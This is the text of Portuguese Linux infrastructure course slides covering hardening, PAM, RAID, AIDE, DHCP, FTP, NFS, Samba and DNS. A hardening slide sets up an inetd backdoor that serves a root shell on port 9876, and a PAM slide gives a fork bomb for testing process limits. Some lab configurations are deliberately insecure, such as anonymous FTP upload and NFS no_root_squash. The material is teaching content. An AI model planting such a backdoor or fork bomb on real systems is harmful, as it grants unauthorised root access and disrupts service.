Buscar

linux infraestrutura2 final

Faça como milhares de estudantes: teste grátis o Passei Direto

Esse e outros conteúdos desbloqueados

16 milhões de materiais de várias disciplinas

Impressão de materiais

Agora você pode testar o

Passei Direto grátis

Você também pode ser Premium ajudando estudantes

Faça como milhares de estudantes: teste grátis o Passei Direto

Esse e outros conteúdos desbloqueados

16 milhões de materiais de várias disciplinas

Impressão de materiais

Agora você pode testar o

Passei Direto grátis

Você também pode ser Premium ajudando estudantes

Faça como milhares de estudantes: teste grátis o Passei Direto

Esse e outros conteúdos desbloqueados

16 milhões de materiais de várias disciplinas

Impressão de materiais

Agora você pode testar o

Passei Direto grátis

Você também pode ser Premium ajudando estudantes
Você viu 3, do total de 198 páginas

Faça como milhares de estudantes: teste grátis o Passei Direto

Esse e outros conteúdos desbloqueados

16 milhões de materiais de várias disciplinas

Impressão de materiais

Agora você pode testar o

Passei Direto grátis

Você também pode ser Premium ajudando estudantes

Faça como milhares de estudantes: teste grátis o Passei Direto

Esse e outros conteúdos desbloqueados

16 milhões de materiais de várias disciplinas

Impressão de materiais

Agora você pode testar o

Passei Direto grátis

Você também pode ser Premium ajudando estudantes

Faça como milhares de estudantes: teste grátis o Passei Direto

Esse e outros conteúdos desbloqueados

16 milhões de materiais de várias disciplinas

Impressão de materiais

Agora você pode testar o

Passei Direto grátis

Você também pode ser Premium ajudando estudantes
Você viu 6, do total de 198 páginas

Faça como milhares de estudantes: teste grátis o Passei Direto

Esse e outros conteúdos desbloqueados

16 milhões de materiais de várias disciplinas

Impressão de materiais

Agora você pode testar o

Passei Direto grátis

Você também pode ser Premium ajudando estudantes

Faça como milhares de estudantes: teste grátis o Passei Direto

Esse e outros conteúdos desbloqueados

16 milhões de materiais de várias disciplinas

Impressão de materiais

Agora você pode testar o

Passei Direto grátis

Você também pode ser Premium ajudando estudantes

Faça como milhares de estudantes: teste grátis o Passei Direto

Esse e outros conteúdos desbloqueados

16 milhões de materiais de várias disciplinas

Impressão de materiais

Agora você pode testar o

Passei Direto grátis

Você também pode ser Premium ajudando estudantes
Você viu 9, do total de 198 páginas

Faça como milhares de estudantes: teste grátis o Passei Direto

Esse e outros conteúdos desbloqueados

16 milhões de materiais de várias disciplinas

Impressão de materiais

Agora você pode testar o

Passei Direto grátis

Você também pode ser Premium ajudando estudantes

Prévia do material em texto

Tom Oliveira 
tomfoliveira@gmail.com 
Implementando uma infraestrutura 
de Rede Linux 
 
Sobre o Instrutor 
 
 Trabalho há 7 anos com Linux; 
 Especialista em projeto de redes corporativas utilizando software 
livre; 
 Instrutor dos cursos da formação LPI, Samba e OpenLDAP 
Objetivos 
 Configurar a rede corretamente; 
 Configurar a resolução de nomes; 
 Configurar o hostname da máquina; 
 Desativar serviços desnecessários; 
 Exemplo de backdoor; 
 Hardening; 
Configuração de rede 
# vim /etc/network/interfaces 
auto lo 
iface lo inet loopback 
auto eth0 
iface eth0 inet static 
address 172.16.18.X 
netmask 255.255.255.0 
network 172.16.18.0 
broadcast 172.16.18..255 
gateway 172.16.18.254 
Resolução de nomes 
 Usaremos um servidor de nomes público para realizar nossas 
consultas de dns. 
 
 
# vim /etc/resolv.conf 
 
search impacta.com.br linux.com.br 
domain impacta.com.br 
nameserver 4.2.2.2 
nameserver 8.8.4.4 
nameserver 8.8.8.8 
 
 
HOSTNAME 
Hostname é o nome dado a um computador em uma rede. 
Para configurá-lo, basta editar o arquivo /etc/hostname: 
 
# vim /etc/hostname 
microx 
 
# hostname microx 
 
# logout 
 
 
Repositórios de rede 
 Edite o arquivo /etc/apt/sources.list e adicione a seguinte 
entrada: 
 
deb http://ftp.us.debian.org/debian lenny main contrib non-
free 
 
Atualize o mirror e instale o vim-full: 
 
# aptitude update 
 
# aptitude install vim 
Facilitando a vida 
 Vamos facilitar um pouco a nossa vida, adicionando linhas 
numeradas e iluminação de sintaxe ao vim. 
 
 
 
# echo “set number” >> /etc/vim/vimrc 
 
# echo “syntax on” >> /etc/vim/vimrc 
Fully Qualified Domain Name 
Um bom servidor de rede só deve possuir duas entradas no arquivo 
/etc/hosts: 
 
 A sua entrada apontando para localhost; 
 A sua entrada apontando para seu endereço de rede, conhecida 
como FQDN (Fully Qualified Domain Name); 
 
# vim /etc/hosts 
 
Exemplo: 
127.0.0.1 localhost.localdomain localhost 
172.16.18.X microx.seunome.com.br microx 
 
# hostname -d 
 
# hostname -f 
 
 
Remova o que não for usar. 
 Muitos incidentes de segurança seriam evitados se os administradores de 
sistemas removessem os serviços ativados durante a instalação antes de ativar 
um novo servidor. 
 
Listando os serviços ativos 
 O comando netstat vai listar todos os processos que estão escutando 
nos protocolos tcp/udp, bem como suas portas. 
 # netstat -putan 
 # /etc/init.d/exim4 stop 
 # /etc/init.d/cups stop 
 #/etc/init.d/portmap stop 
 
 # update-rc.d -f exim4 remove 
 # update-rc.d -f cups remove 
 # update-rc.d -f portmap remove 
 
 
 
 
Exemplo de uma backdoor 
# aptitude install openbsd-inetd 
# vim /etc/inetd.conf: 
segredo stream tcp nowait root /bin/sh /bin/sh -i 
 
# vim /etc/services 
segredo 9876/tcp 
 
# /etc/init.d/openbsd-inetd restart 
# netstat -putan | grep 9876 
# telnet 172.16.18.X 9876 
Hardening 
O que é hardening? 
 
Hardening é um processo de mapeamento das ameaças, mitigação dos riscos e 
execução das atividades corretivas - com foco na infra-estrutura e objetivo 
principal de torná-la preparada para enfrentar tentativas de ataque. 
 
Normalmente, o processo inclui remover ou desabilitar nomes ou logins de 
usuários que não estejam mais em uso, além de serviços desnecessários. 
 
Outras providências que um processo de hardening pode incluir: limitar o 
software instalado aquele que se destina à função desejada do sistema; aplicar 
e manter os patches atualizados, tanto de sistema operacional quanto de 
aplicações; revisar e modificar as permissões dos sistemas de arquivos, em 
especial no que diz respeito a escrita e execução; reforçar a segurança do login, 
impondo uma política de senhas fortes. 
 
 
Adequação as Normas da ISO 27001/27002 
 
 Guia de referência para boas práticas dos processos e gestão da Segurança da 
Informação Corporativa; 
 Controle de Acesso ( Lógico e Físico ); 
 Políticas; 
 Processos (gestão de continuidade do negócio); 
 Avaliação de todos os ativos; 
login.defs 
 O arquivo /etc/login.defs, como o nome sugere, é utilizado 
para controlar alguns aspectos de login e algumas variáveis 
locais. 
 
 Abra o arquivo /etc/login.defs e habilite a variável abaixo: 
 
 SULOG_FILE /var/log/sulog 
 
 A partir de agora, todos as tentativas de uso do comando 
“su” serão armazenadas no arquivo /var/log/sulog. 
 
Conhecendo o PAM 
Conjunto de bibliotecas,para facilitar a configuração de segurança; 
Antes era colocado no código de cada programa ou modulo, 
configurando os horários e usuários que não podem se autenticar 
(difícil gerenciar); 
Gerenciamento em um único local; 
Repositório deu o nome da PAM; 
A aplicação tem que ser desenvolvida para trabalhar com o pam; 
 
# ldd /usr/sbin/sshd 
 libpam.so.0 => /lib/libpam.so.0 (0x00007fc12dc2e000) 
 
 
Conhecendo o PAM 
Arquivos de configuração 
 
/etc/pam.conf → Antigo não usado mais. 
/etc/pam.d/ → Atual 
 
Módulos 
 
/lib/security/ 
 
 
Conhecendo o PAM 
Categoria: 
account → atributos do usuário; 
auth → tipo de autenticação (ldap,kerberos,banco de dados,local); 
password → referente a senha (maiúsculo,tempo que vai ficar com a 
senha); 
session → sessão do usuário,variáveis, permissão; 
 
Controle: 
required (necessário) → Verifica em todos os módulos do mesmo 
tipo; 
requisite (requisito) → Se o primeiro der erro não verifica o proximo; 
sufficient (suficiente ) → Verifica em todos; 
optional (opicional) → Sucesso ou falha não impede a autenticação; 
 
Conhecendo o PAM 
 Suponhamos que nosso sistema pode se autenticar em 
duas bases diferentes.Por exemplo autenticando local ou em uma 
base ldap. 
 
auth required pam_unix.so 
auth required pam_ldap.so 
 
auth requisite pam_unix.so 
auth requisite pam_ldap.so 
 
auth sufficient pam_unix.so 
auth sufficient pam_ldap.so 
 
auth optional pam_unix.so 
auth optional pam_ldap.so 
 
 
 
nologin 
Existe um recurso desde os primórdios para caso haja necessidade de 
fazer manutenção, nenhum usuário pode se logar. 
 
# touch /etc/nologin 
# vim /etc/pam.d/login 
 
account required pam_nologin.so 
 
# vim /etc/pam.d/sshd 
 
account required pam_nologin.so 
 
# ssh -l aluno 127.0.0.1 
 
 
SU 
Vamos limitar os usuários que podem fazer uso do comando su. 
 
# vim /etc/pam.d/su 
 
auth required pam_wheel.so group=admins 
 
# groupadd admins 
 
# gpasswd -a aluno admins 
 
# adduser toor 
 
Faça um teste com os usuários utilizando o comando su 
 
Bloqueando por horário 
Podemos limitar o horário que um usuário pode se logar no sistema. 
 
# vim /etc/pam.d/login 
 
account requisite pam_time.so 
 
# vim /etc/pam.d/sshd 
 
account requisite pam_time.so 
 
# vim /etc/security/time.conf 
 
 
login;*;root;!Al0000-0000 
sshd;*;root;!Al0000-0000 
 
 
Comando da morte 
:(){ :|:& };: 
Limitando recursos 
 Através do módulo pam_limits.so podemos limitar alguns recursos 
do usuário, como a quantidade de logins simultâneos, quantidade de 
processos, entre outros. 
 
# vim /etc/pam.d/login 
 
session required pam_limits.so 
 
# vim /etc/security/limits.confaluno hard nproc 200 
aluno hard maxlogins 3 
 
Faça um teste com 3 logins simultâneos e o comando da morte. 
 
# /etc/sudoers 
# 
# This file MUST be edited with the 'visudo' command as root. 
# 
# See the man page for details on how to write a sudoers file. 
# 
 
Defaults env_reset 
# Host alias specification 
# User alias specification 
User_Alias ADMIN_SENIOR = tux 
User_Alias ADMIN_PLENO = linus 
User_Alias ADMIN_JUNIOR = aluno 
 
# Cmnd alias specification 
Cmnd_Alias SHELL = /bin/bash 
Cmnd_Alias CMD_JUNIOR = /etc/init.d/networking, /etc/init.d/dhcp3-server, /sbin/shutdown, 
/usr/bin/startx, /etc/init.d/gdm, /sbin/iptables -nL 
 
# User privilege specification 
root ALL=(ALL) ALL 
ADMIN_SENIOR ALL=(ALL) ALL 
ADMIN_PLENO ALL=(ALL) ALL,!/usr/bin/passwd root 
ADMIN_JUNIOR ALL=CMD_JUNIOR 
 
 
SUDOERS 
Destabilitar login de root 
 
# vim /etc/securetty 
Comentar todas as linhas com tty* 
# Standard consoles 
#tty1 
#tty2 
#tty3 
#tty4 
#tty5 
#tty6 
 
 
 
 
FIM 
 RAID 
 
Redundant Array of Inexpensive Disks 
 
 
 Redundant Array of Inexpensive Disks (Conjunto Redundante de 
Discos Independentes); 
 Proposto em 1983 como solução barata para falhas de disco; 
 Oferece ganho de desempenho no acesso ao disco; 
 Oferece redundância em caso de falhas; 
 Pode ser implementado via hardware ou software. 
O que é RAID? 
 Hardware X Software 
 Hardware 
Desempenho (+) 
Custo - Mesma controladora (-) 
Não pode misturar Sata/USB (-) 
 
 Software 
Custo (+) 
Pode misturar Sata/USB (+) 
Desempenho (-) 
 
Raid 0 
Mínimo 2 discos; 
Não implementa redundância, pois o foco é 
desempenho; 
Dobro de velocidade na gravação; 
Pode-se utilizar discos de tamanhos 
diferentes; 
Perdi um disco, perco tudo; 
Raid 1 
Mínimo 2 discos; 
Implementa redundância; 
Pode-se utilizar discos de tamanhos 
diferentes; 
Posso trabalhar com discos de spare; 
Raid 5 
Balanceamento entre raid 0 e raid 1; 
Mínimo 3 discos; 
Implementa paridade; 
Dobro de velocidade na leitura; 
Pode-se utilizar discos de tamanhos 
diferentes; 
Dois discos falharem, perco tudo; 
Posso trabalhar com spare; 
Raid 5 
 Cálculo do RAID 5 
 A= 01100010 
 B= 10010010 
 ----------------------- 
 P= 11110000 
 
 A= 01100010 
 P= 11110000 
 ---------------------- 
 B= 10010010 
 Xor 
0 0 = 0 
1 1 = 0 
0 1 = 1 
1 0 = 1 
Raid 6 
Raid 10 (1+0) 
Mínimo 4 discos; 
Implementa redundância e desempenho; 
Dobro de velocidade na gravação e 
leitura; 
Recomenda-se a implementação com 
discos iguais; 
Preparando as partições 
O primeiro passo é preparar as partições para trabalharem com RAID. Abra o 
editor de partições cfdisk e edite as partições sugeridas pelo instrutor. 
Marque as partições sugeridas como sendo do tipo “Raid Autodetect” --> FD . 
Instale o pacote mdadm: 
 
# aptitude install mdadm 
 
Após instalar o pacote mdadm, reinicie o servidor. 
 
 
Criando o volume RAID 
Nós iremos criar um RAID 1, utilizando dois discos para implementar 
o raid e um disco spare. 
 Abra um segundo terminal e digite o comando abaixo para verificar a 
sincronização dos discos. 
# watch -n 1 cat /proc/mdstat 
 
Em um outro terminal digite: 
# mdadm --create /dev/md0 --level=1 --raid-devices=2 
--spare-devices=1 /dev/sda8 /dev/sda9 /dev/sda10 
 
# mdadm --readwrite /dev/md0 
 
Configuração 
Edite o arquivo de configuração e edite as linhas DEVICE e ARRAY 
(Inclua caso não existir) 
 
# vim /etc/mdadm/mdadm.conf 
 
DEVICE /dev/sda8 /dev/sda9 /dev/sda10 
ARRAY /dev/md0 devices=/dev/sda8,/dev/sda9,/dev/sda10 
Configuração 
Aplique o Filesystem no volume RAID: 
# mkfs.ext3 /dev/md0 
 
Crie o ponto de montagem: 
# mkdir /mnt/raid 
 
Monte o dispositivo: 
# mount -t ext3 /dev/md0 /mnt/raid 
# df -h 
 
Informações 
Verificando individualmente o disco: 
# mdadm -E /dev/sda10 
 
Verificando o volume RAID: 
# mdadm --detail /dev/md0 
 
Para testar nosso volume RAID, iremos criar um pequeno script que 
escreverá a data corrente de 3 em 3 segundos dentro do arquivo 
/mnt/raid/dados.txt. 
 
Script de teste 
# vim /root/testaraid.sh 
 
#!/bin/bash 
while true; do 
 date >> /mnt/raid/dados.txt 
 sleep 3 
done 
 
Ajuste as permissões, execute e verifique o resultado: 
# chmod u+x testaraid.sh 
# /root/testaraid.sh & (executar em segundo plano) 
# tail -f /mnt/raid/dados.txt 
FAIL!!! 
Simulando falha em um dos HD's: 
# mdadm /dev/md0 --fail /dev/sdaX 
 
Verificando os detalhes: 
# mdadm --detail /dev/md0 
 
Removendo um disco: 
# mdadm /dev/md0 --remove /dev/sdaX 
 
Adicionando um disco: 
# mdadm /dev/md0 --add /dev/sdaX 
Configuração 
É necessário que altere a ordem dos discos no arquivo de configução 
do do raid, edite as linhas DEVICE e ARRAY. 
 
# vim /etc/mdadm/mdadm.conf 
 
DEVICE /dev/sdaY /dev/sdaZ /dev/sdaX 
ARRAY /dev/md0 devices=/dev/sdaY,/dev/sdaZ,/dev/sdaX 
Dicas 
As vezes, será necessário encerrar o serviço RAID, reiniciá-lo ou 
mesmo removê-lo. 
Para encerrar o RAID, execute: 
No terminal que executou o script, pare. 
# fg 
# umount /mnt/raid 
# mdadm -S /dev/md0 
 
Para reiniciá-lo, execute: 
# mdadm -As /dev/md0 
 
Removendo o raid 
Para removê-lo, execute: 
 
# umount /mnt/raid 
# mdadm -S /dev/md0 
# mdadm --manage --remove /dev/md0 
# vim /etc/mdadm/mdadm.conf 
 
 
FIM 
 
Advanced intrusion detection enviroment 
 
O que é AIDE? 
 É um sistema de intrusão que trabalha com a detecção de anomalias 
em arquivos, fazendo a checagem da integridade, como alteração de 
arquivos de configuração, dispositivos, entre outros, com base em 
umbanco de dados de assinaturas. 
 
 
 
Instalação 
Vamos instalar o aide: 
 
# aptitude install aide 
 
Arquivo principal de configuração do AIDE: 
 
 /etc/aide/aide.conf 
 
!/tmp 
!/var/spool/cups 
 
 
Diretório onde ficam os arquivos de controle do AIDE: 
 
 /etc/ainde/aide.conf.d 
 
 
Preparando o AIDE 
 O comando abaixo vai gerar uma “cópia” do arquivo de configuração 
no diretório /var/lib/aide chamado aide.conf.autogenerated onde o 
mesmo será usado pelo gerador de base do AIDE: 
 
# update-aide.conf 
 
 Vamos gerar a base de dados do ainde, contendo informações da 
integridade do nosso sistema: 
 
# aideinit 
 
Será gerado dois arquivos, que é a nossa base: 
 
- /var/lib/aide/aide.db.new 
- /var/lib/aide/aide.db 
 
 
 
Testando o AIDE 
 Vamos alterar a permissão de um arquivo do sistema, em seguida iremos 
verificar com o AIDE se houve alguma alteração dos arquivos do sistema: 
 
# chmod 777 /etc/hosts 
 
Verifique se houve alteração: 
 
# aide -C --config=/var/lib/aide/aide.conf.autogenerated | tee /root/auditoria.txt 
 
Verifique a saída do comando aide: 
 
# less /root/auditoria.txt 
 
 
 
FIM 
 DHCP 
Dynamic Host Configuration Protocol 
 DHCP 
 
 No começo a configuração da rede era feita em host à host, dessa forma, não 
ficava trivial para empresas com grande númerode hosts; 
 
 Inventaram o BOOTP (Bootstrap Protocol), porém não suportava toda a 
configuração de rede; 
 
 Criou-se o protocolo DHCP; 
Como funciona? 
Configurando o servidor 
Instale o serviço do dhcp: 
 
# aptitude install dhcp3-server (Debian Lenny – 5.0) 
 
# aptitude install isc-dhcp-server (Debian Squeeze – 6.0) 
 
 Faça o backup do arquivo original: 
 
# mv /etc/dhcp3/dhcpd.conf /etc/dhcp3/dhcpd.conf.orig 
 
 
Crie um arquivo do zero: 
 
# vim /etc/dhcp3/dhcpd.conf 
 
Configurando o servidor 
ddns-update-style none; 
Subnet 172.16.18.0 netmask 255.255.255.0 { 
Range 172.16.18.150 172.16.18.254; 
option subnet-mask 255.255.255.0; 
option domain-name "seudomínio.com.br"; 
option domain-name-servers 8.8.8.8,8.8.4.4; 
option routers 172.16.18.254; 
default-lease-time 600; 
max-lease-time 7200; 
} 
 
Testando o serviço 
Reinicie o serviço: 
 
# /etc/init.d/dhcp3-server restart (Debian Lenny) 
 
# /etc/init.d/isc-dhcp-server restart (Debian Squeeze) 
 
 
 
Erros: 
# tail -f /var/log/syslog 
 
 
Amarração IP X MAC 
ddns-update-style none; 
subnet 192.168.0.0 netmask 255.255.255.0 { 
range 192.168.0.150 192.168.0.254; 
option subnet-mask 255.255.255.0; 
option domain-name "seudomínio.com.br"; 
option domain-name-servers 8.8.8.8,8.8.4.4; 
option routers 192.168.0.1; 
default-lease-time 600; 
max-lease-time 7200; 
host comercial1 { 
 hardware ethernet 00:1E:C9:FA:2E:60; 
 fixed-address 172.16.18.171; 
} 
 
} 
 
Testando o serviço 
Reinicie o serviço: 
 
# /etc/init.d/dhcp3-server restart (Debian Lenny) 
 
# /etc/init.d/isc-dhcp-server restart (Debian Squeeze) 
 
 
 
Erros: 
# tail -f /var/log/syslog 
 
 
FIM 
 FTP 
 File Transfer Protocol 
(Protocolo de Transferência de Arquivos) 
Como funciona? 
 
 
Ativo 
5070 21 - Controle 
FTP 
4065 20 - Dados 
Como funciona? 
 
 
Passivo 
5070 21 - Controle 
FTP 
4065 
20 - Dados 
192.168.16.50 
Gateway 
200.10.20.30 
Instalação 
Instale o pacote vsftpd: 
# aptitude install vsftpd 
 
Faça backup do arquivo de configuração: 
# mv /etc/vsftpd.conf /etc/vsftpd.conf.old 
 
Gere um arquivo do zero: 
# vim /etc/vsftpd.conf 
 
 
 
Configuração 
#Habilita standalone 
listen=YES 
#Habilita anonymous 
anonymous_enable=YES 
#Habilita escrita 
write_enable=YES 
#Log detalhado de upload e download 
xferlog_enable=YES 
# Permite que o usuário anonymous crie diretórios 
anon_mkdir_write_enable=YES 
#habilita upload para o usuário anonymous 
anon_upload_enable=YES 
 
 
#Permite que os usuários locais façam login /etc/passwd 
local_enable=YES 
#Trabalhar como passivo 
pasv_enable=YES 
#Valor da umask - padrão 077 
local_umask=022 
#Numero máximo de conexões por ip 
max_per_ip=3 
 
#Numero máximo de conexões simultâneas. 
max_clients=60 
 
Configuração 
Configuração 
#Banner no servidor 
ftpd_banner=Servidor FTP 
 
# Usuários ficarem enjaulados 
 chroot_local_user=yes 
 
#Utiliza a porta FTP-DATA para transferência de arquivos 
connect_from_port_20=Yes 
 
#Utiliza a autenticação local 
pam_service_name=vsftpd 
 
 
 
 
 
Conectando-se ao servidor 
Crie um diretório no home do anonymous: 
# mkdir -p /home/ftp/teste 
# chmod 777 /home/ftp/teste 
# /etc/init.d/vsftpd restart 
# netstat -putan | grep 21 
 
Conecte-se ao servidor FTP do colega: 
# ftp 192.168.0.X 
Faça login com o usuário anonymous: 
anonymous 
Qualquer senha 
Saia do FTP: 
ftp> quit 
Comandos úteis para FTP 
help - Lista os comandos disponíveis. 
help CMD - Mostra uma ajuda para o comando CMD. 
ls - Lista os arquivos no servidor. 
cd - Troca de diretório no servidor. 
lcd - Troca de diretório da maquina local. 
!ls - Lista os arquivos da maquina local. 
!CMD - Executa na maquina local o comando CMD. 
get - Faz download de um arquivo do servidor para a maquina local. 
mget - Faz download de mais de um arquivo. 
put - Faz upload de um arquivo da maquina local para o servidor. 
mput - Faz upload de mais de um arquivo. 
Ferramenta gráfica 
# aptitude install filezilla 
# tail -f /var/log/vsftpd.log 
 
Sun Apr 24 21:43:54 2011 [pid 12602] CONNECT: Client "127.0.0.1" 
Sun Apr 24 21:43:54 2011 [pid 12600] [ftp] OK LOGIN: Client 
"127.0.0.1", anon password "anon@localhost" 
Sun Apr 24 21:44:19 2011 [pid 12618] CONNECT: Client "127.0.0.1" 
Sun Apr 24 21:44:19 2011 [pid 12617] [ftp] OK LOGIN: Client 
"127.0.0.1", anon password "anon@localhost" 
Sun Apr 24 21:44:19 2011 [pid 12619] [ftp] FAIL UPLOAD: Client 
"127.0.0.1", "/30112008188.jpg", 0.00Kbyte/sec 
 
 
 
LOGs 
FIM 
Network File System 
Como funciona o NFS? 
Instalação 
O primeiro passo é iniciar o serviço portmap, do qual o NFS 
é dependente e o nfs-common que é usado para cliente: 
 
# /etc/init.d/portmap start 
# update-rc.d portmap defaults 
# /etc/init.d/nfs-common start 
# update-rc.d nfs-common defaults 
 
Agora, vamos instalar o daemon NFS. 
# aptitude install nfs-kernel-server 
Entendendo o arquivo de 
configuração 
O local aonde faremos nossas configurações é o arquivo 
/etc/exports. 
 
Dentro deste arquivo, podemos exportar qualquer diretório 
via NFS utilizando a seguinte sintaxe: 
 
/dados 172.16.18.0/24(rw,root_squash) 
/configs admin.tecnologia.com.br(rw,no_root_squash) 
 
 
 rw: Permissão de leitura e escrita. 
 
 ro: Permissão de somente leitura. 
 
 root_squash: Faz com o usuário root “perca” seus poderes dentro 
do compartilhamento. 
 
 no_root_squash: Permite que o usuário root cliente tenha direito 
de root sobre os diretórios do servidor. 
 
 async: Determina que não necessita está sincronizado com o 
servidor aguardando sinal para ser liberado, tornando a transferência 
de arquivo mais rápido. 
 
 sync: Mantém a sincronia em tempo real (mais seguro). 
 
Algumas opções do NFS 
Exportando diretório com NFS 
Crie o diretório que será exportado: 
# mkdir /srv/nfs 
 
Configure o /etc/exports: 
# vim /etc/exports 
/srv/nfs 172.16.18..0/24(rw,root_squash,no_subtree_check) 
 
Copie algum dado para este diretório: 
# cp /etc/*.conf /srv/nfs 
 
Reinicie o daemon NFS: 
# /etc/init.d/nfs-kernel-server restart 
Ou 
# exportfs -r 
Montando os diretórios 
Verifique os diretórios compartilhados: 
# showmount -e 172.16.18.X 
 
Crie um ponto de montagem: 
# mkdir /mnt/nfs 
 
Monte o diretório compartilhado 
# mount -t nfs 172.16.18.X:/srv/nfs /mnt/nfs 
 
Entre no diretório /mnt/nfs e tente remover algum arquivo. 
 
 
 
No Root Squash 
Refaça o compartilhamento, agora com a opção no_root_squash 
habilitada: 
/srv/nfs 
192.168.10.0/24(rw,no_root_squash,no_subtree_check) 
 
Releia as configurações do nfs sem reiniciar o daemon: 
# exportfs -r 
 
Agora, entre no diretório /mnt/nfs e refaça o teste tentando 
remover um arquivo. 
FIM 
Como surgiu 
 A IBM criou o protocolo NetBIOS (Network Basic Input Output), um 
protocolo para troca de mensagens entre micros PC ligados em rede. 
 O SMB (Server Message Block) veio mais tarde, junto com o 
Windows 3.11. 
 O protocolo SMB governa o compartilhamento de arquivos e 
impressoras em redes Microsoft. Ele utiliza o NetBIOS para a troca de 
mensagensentre os hosts e inclui uma versão atualizada do 
protocolo, que roda sobre TCP/IP utilizando as portas (137/UDP, 
138/UDP e 139/TCP) utilizadas pelo SMB. 
 O problema com o NetBIOS é que ele depende do uso intensivo de 
pacotes de broadcast e de pacotes UDP. 
 O CIFS (Common Internet File System) é a evolução natural do 
SMB, que inclui diversos novos recursos, abandona o uso do NetBIOS 
e passa a utilizar uma única porta TCP (445). 
 
 
 
Como surgiu 
 O Samba é justamente uma implementação das mesmas funções 
para sistemas Unix, incluindo não apenas o Linux, mas também o 
BSD, Solaris, OS X e outros primos. 
 O projeto nasceu no final de 1991, de forma acidental, criado por 
Andrew Tridgell, um australiano que na época era estudante do curso 
de PhD em ciências da computação. 
 Desenvolveu um programa para capturar os pacotes, capaz de 
examinar o tráfego da rede, capturando as mensagens enviadas pelo 
cliente e as respostas do servidor. 
 O nome "Samba" surgiu a partir de uma simples busca dentro do 
dicionário chamado ispell, que possuíssem as letras S, M e B, de 
"Server Message Blocks", posicionadas nessa ordem. 
 
 
 
 
 
Como surgiu 
 Em 1994 a Microsoft liberou as especificações do SMB e do 
NetBIOS, o que permitiu que o desenvolvimento do Samba desse um 
grande salto, tanto em recursos quanto em compatibilidade, passando 
a acompanhar os novos recursos adicionados ao protocolo da 
Microsoft, que mais tarde novamente deixou de ser aberto. 
 
 Hoje, além de ser quase 100% compatível com os recursos de rede 
do Windows 98, NT, 2000 e XP, o Samba é reconhecido por ser mais 
rápido que o próprio Windows na tarefa de servidor de arquivos. 
 
 O samba está na versão 3, o seu desenvolvimento prossegue, o que 
há de novidade no samba 4? 
 
 
 
 
 
 
Instalação 
# aptitude install samba 
 
Daemon: 
nmbd → resolução de nome 
smbd → compartilhamento 
winbind → integração/autenticação 
 
Portas: 
137/UDP → 
138/UDP → SMB 
139/TCP → 
 
445/TCP → CIFS 
 
 
 
 
Configuração 
 Os arquivos de configuração ficam no diretório /etc/samba. 
 O principal arquivo de configuração é o /etc/samba/smb.conf. 
 O arquivo é dividido em sessões. 
Exemplos: 
[financeiro] → como vai aparecer na rede 
;comentários 
path = /srv/samba/finan 
parâmetro = valor 
 
[global] → opções gerais 
[homes] → compartilhar o home de cada usuário 
[printers] → impressora 
 
 
 
 
Configuração 
# mv /etc/samba/smb.conf /etc/samba/smb.conf.old 
 
# vim /etc/samba/smb.conf 
 
[global] 
workgroup = empresaX 
netbios name = microX 
security = share 
client lanman auth = yes 
 
[publico] 
comment = Diretório com acesso para todos os usuários 
path = /srv/samba/publico 
force user = smbuser 
force group = users 
read only = no 
guest ok = yes 
 
Configuração 
# mkdir -p /srv/samba/publico 
 
# chmod 777 /srv/samba/publico 
 
# useradd smbuser 
 
# testparm 
 
# testparm -v 
 
# /etc/init.d/samba restart 
 
Faça o teste no windows!!! 
 
Configuração avançada 
# vim /etc/samba/smb.conf 
 
[global] 
... 
security = user 
preserve case = no 
 
[rh] 
Comment = Diretório de uso do RH 
path = /srv/samba/rh 
valid users = maria 
writable = yes 
 
# mkdir /srv/samba/rh 
 
# chmod 755 /srv/samba/rh 
 
 
 
# groupadd rh 
 
# adduser maria 
 
# chown maria:rh /srv/samba/rh 
 
# smbpasswd -a maria 
 
# testparm 
 
# /etc/init.d/samba restart 
 
→ /var/lib/samba/passdb.tdb 
 
smbpasswd -a → adiciona (add) 
smbpasswd -d → bloqueia (disable) 
smbpasswd -e → desbloqueia (enable) 
smbpasswd -x → exclui (exclude) 
smbpasswd user → (altera a senha) 
 
 
Configuração avançada 
Exemplos de acessos 
Restringindo alguns usuários: 
writable = yes 
valid users = joao, maria, @rh 
invalid users = jose, joaquim 
 
Somente um usuário ter permissão de escrita: 
writable = no 
valid users = joao, maria, jose, @rh 
write list = maria 
 
Restringir quem vai poder somente ler: 
writable = yes 
valid users = joao, maria, jose, @rh 
read list = maria, ana 
 
Acesso para rede: 
writable = yes 
hosts allow = 192.168.1.0/24 
 ou 
hosts allow = 192.168.1. EXCEPT 192.168.1.23, 192.168.1.24 
 
Primary Domain Controller 
# vim /etc/samba/smb.conf 
 
[global] 
..... 
domain master = yes 
log file = /var/log/%m.log 
max log size = 1000 
add machine script = /usr/sbin/useradd -s /bin/false -d /dev/null %u 
unix password sync = no 
passwd program = /usr/bin/smbpasswd %u 
socket options = TCP_NODELAY SO_RCVBUF=8192 SO_SNDBUF= 8192 
domain logons = yes 
logon drive = H: 
preferred master = yes 
 
 
 
 
 
Primary Domain Controller 
[homes] 
valid users = %U 
read only = no 
create mask = 0700 
directory mask = 0700 
 
# smbpasswd -a root 
 
# testparm 
 
# /etc/init.d/samba restart 
 
# less /var/lib/samba/passdb.tdb 
 
# pdbedit -Lw 
 
 
FIM 
DNS 
Domain Name System 
Como surgiu 
 No começo existiam apenas algumas centenas de hosts. 
 Surgiu o nome, porque os seres humanos não consegue decorar muitos 
números. 
 Um único arquivo, HOSTS.TXT, continha todas as informações necessárias 
sobre esses hosts. 
 O Hosts.txt era atualizado pelo Network Information Center do SRI (NIC-
SRI). 
 
 
 
 
 
 
Problemas 
 À medida que a ARPAnet crescia, contudo, esse esquema tornava-se 
impraticável. 
 
 O tamanho do HOSTS.TXT crescia em proporção ao crescimento do 
número de hosts da Arpa. 
 
 Trafego para distribuir a atualização desse arquivo. 
 
 Levou o HOSTS.TXT ao fracasso e à obsolescência. 
 
 
 
 
 
 
 
Solução 
 A ARPAnet fez um concurso para resolver esse problema. 
 
Requisitos: 
 Escalabilidade: Quando a rede crescer muito, ele consegue mesmo 
assim gerenciar. 
 
 Gerenciamento distribuído: Não ficar centralizado somente em uma 
pessoa ou poucas pessoas para administrar. 
 
Em 1984, Paul Mockapetris criou o projeto DNS, e usou a idéia de 
hierarquia de árvore semelhante ao do unix. 
 
 
 
 
 
 
Hierarquia de árvore do UNIX. 
Hierarquia de árvore do DNS. 
www.uol.com.br. 
Registros 
 SOA (Start Of Authotity) - Propriedades básicas do domínio; 
 MX (Mail eXchanger) - Especifica um servidor de e-mail; 
 NS (Name Server) - Nome do servidor; 
 TXT (TeXT) - Permitir que outro domínio utilize meu domínio; 
 CNAME (Common Name) - Específica nomes alternativos; 
